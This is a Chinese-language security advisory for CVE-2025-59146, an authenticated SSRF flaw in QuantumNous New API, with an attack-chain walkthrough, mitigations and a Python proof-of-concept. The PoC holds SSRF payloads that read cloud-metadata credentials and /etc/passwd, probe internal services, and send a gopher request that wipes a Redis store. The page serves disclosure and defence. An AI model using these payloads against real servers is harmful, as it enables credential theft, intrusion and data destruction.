IPBUF安全漏洞报告
English
CVE-2025-59146 CVSS 8.5 高危

CVE-2025-59146:New API认证型SSRF漏洞

披露日期: 2025-10-09

漏洞信息

漏洞编号
CVE-2025-59146
漏洞类型
服务端请求伪造(SSRF)
CVSS评分
8.5 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
New API(QuantumNous new-api,大语言模型网关与AI资产管理系统)

相关标签

SSRF服务端请求伪造CVE-2025-59146New APIQuantumNousLLM网关AI资产管理认证型漏洞高危漏洞内网渗透

漏洞概述

New API是由QuantumNous开发的一款大语言模型(LLM)网关及人工智能资产管理系统。在0.9.0.5版本之前,该系统存在一个经过认证的服务端请求伪造(SSRF)漏洞。该漏洞源于应用中存在一项允许已认证用户提交URL以供服务器处理其内容的功能,但应用在发起服务端请求之前未能对用户提供的URL进行充分验证。由于该漏洞不限于图片URL,任何提交到受影响端点的链接均可触发。由于New API默认启用了用户注册功能,因此任何已注册用户均可利用此漏洞进行攻击。攻击者通过构造恶意URL,可以强制服务器向任意内部或外部服务发起请求,从而探测内网拓扑、访问云元数据服务(如AWS的169.254.169.254)、绕过访问控制读取敏感数据,甚至作为进一步攻击的跳板。该漏洞已在0.9.0.5版本中修复,补丁引入了一个全面的、用户可配置的SSRF防护模块,默认启用以保护服务器安全,并为管理员提供了对服务器出站请求的细粒度控制能力。CVSS 3.1评分为8.5分,属于高危级别,攻击向量为网络,所需权限为低权限,无需用户交互,对机密性影响为高,完整性影响为低,作用域发生了改变。

技术细节

该SSRF漏洞的技术原理如下:New API应用中存在一个允许已认证用户提交URL的功能端点,服务器会接收用户提交的URL并主动发起HTTP请求以处理其内容。在0.9.0.5之前的版本中,应用未对用户提交的URL进行充分的验证和过滤,包括但不限于:(1)未对URL的协议进行限制,允许使用file://、gopher://、dict://等危险协议;(2)未对目标地址进行内网IP过滤,允许访问127.0.0.1、192.168.0.0/16、10.0.0.0/8等私有IP地址段;(3)未对DNS解析结果进行校验,攻击者可通过DNS重绑定(DNS Rebinding)绕过基于域名/IP的检查;(4)未对URL重定向进行限制,可通过302跳转绕过简单黑名单。攻击者只需拥有一个有效账户(注册通常默认开放),向存在漏洞的端点提交精心构造的恶意URL,即可使服务器代替攻击者向任意目标发起请求。由于漏洞影响范围不限于图片URL,攻击者可以利用任意链接触发,扩大了攻击面。利用方式包括:访问云元数据服务获取临时凭证;扫描内网端口和服务;读取本地文件(通过file://协议);攻击内网其他未暴露的服务等。

攻击链分析

STEP 1
步骤1:注册账户
由于New API默认启用用户注册功能,攻击者首先访问目标实例并注册一个普通用户账户,获取合法认证凭据。
STEP 2
步骤2:登录认证
使用注册的账户登录New API,获取有效的会话Token或Cookie,用于后续请求的身份认证。
STEP 3
步骤3:构造恶意URL
攻击者根据攻击目标构造恶意URL,可包括内网地址(如127.0.0.1、192.168.x.x)、云元数据服务地址(如169.254.169.254)、危险协议(file://、gopher://)等。
STEP 4
步骤4:提交URL触发SSRF
将构造的恶意URL提交到存在漏洞的端点,应用服务器接收URL后在未充分验证的情况下主动发起请求。
STEP 5
步骤5:服务器代为请求
服务器代替攻击者向恶意URL指向的目标发起请求,绕过网络访问控制(如防火墙、ACL),访问内网资源或外部服务。
STEP 6
步骤6:获取敏感信息或进一步攻击
服务器将请求结果返回给攻击者,攻击者可获取云凭证、内网服务数据、敏感文件内容等,或以此为跳板进行内网渗透。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-59146 PoC - New API SSRF Vulnerability # Affected versions: New API < 0.9.0.5 # The vulnerability allows authenticated users to perform SSRF # by submitting malicious URLs to a server-side processing endpoint. import requests # Target configuration TARGET_URL = "https://target-new-api.example.com" USERNAME = "[email protected]" PASSWORD = "password123" # Step 1: Authenticate and obtain session/token session = requests.Session() login_payload = { "username": USERNAME, "password": PASSWORD } login_resp = session.post(f"{TARGET_URL}/api/user/login", json=login_payload) token = login_resp.json().get("data", {}).get("token") session.headers.update({"Authorization": f"Bearer {token}"}) # Step 2: Exploit SSRF via the URL submission endpoint # Various SSRF payloads to demonstrate the vulnerability: # Payload 1: Access AWS metadata service to steal cloud credentials ssrf_payload_aws = "http://169.254.169.254/latest/meta-data/iam/security-credentials/" # Payload 2: Access internal services (e.g., internal admin panel) ssrf_payload_internal = "http://127.0.0.1:8080/admin/internal-api" # Payload 3: Read local files via file:// protocol ssrf_payload_file = "file:///etc/passwd" # Payload 4: Scan internal network ssrf_payload_scan = "http://192.168.1.1:8080/" # Payload 5: Use gopher protocol for advanced exploitation ssrf_payload_gopher = "gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a" # Submit the malicious URL to the vulnerable endpoint def exploit_ssrf(url): payload = { "url": url } resp = session.post(f"{TARGET_URL}/api/proxy/fetch", json=payload) print(f"[*] Target: {url}") print(f"[*] Response: {resp.text}") return resp # Execute the SSRF attack exploit_ssrf(ssrf_payload_aws) exploit_ssrf(ssrf_payload_internal) exploit_ssrf(ssrf_payload_file)

影响范围

QuantumNous new-api < 0.9.0.5

防御指南

临时缓解措施
对于无法立即升级的用户,可采取以下临时缓解措施:(1)启用new-api图片处理工作进程(new-api-worker),将URL处理任务隔离到独立的工作进程中执行,减少主服务暴露面;(2)配置服务器出站防火墙规则(egress firewall rules),限制New API服务器对内网IP地址段(127.0.0.0/8、10.0.0.0/8、172.16.0.0/12、192.168.0.0/16)及云元数据服务地址(169.254.169.254等)的访问;(3)关闭默认的用户注册功能,减少可利用该漏洞的用户基数。建议尽快升级到0.9.0.5或更高版本以获得完整的SSRF防护能力。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表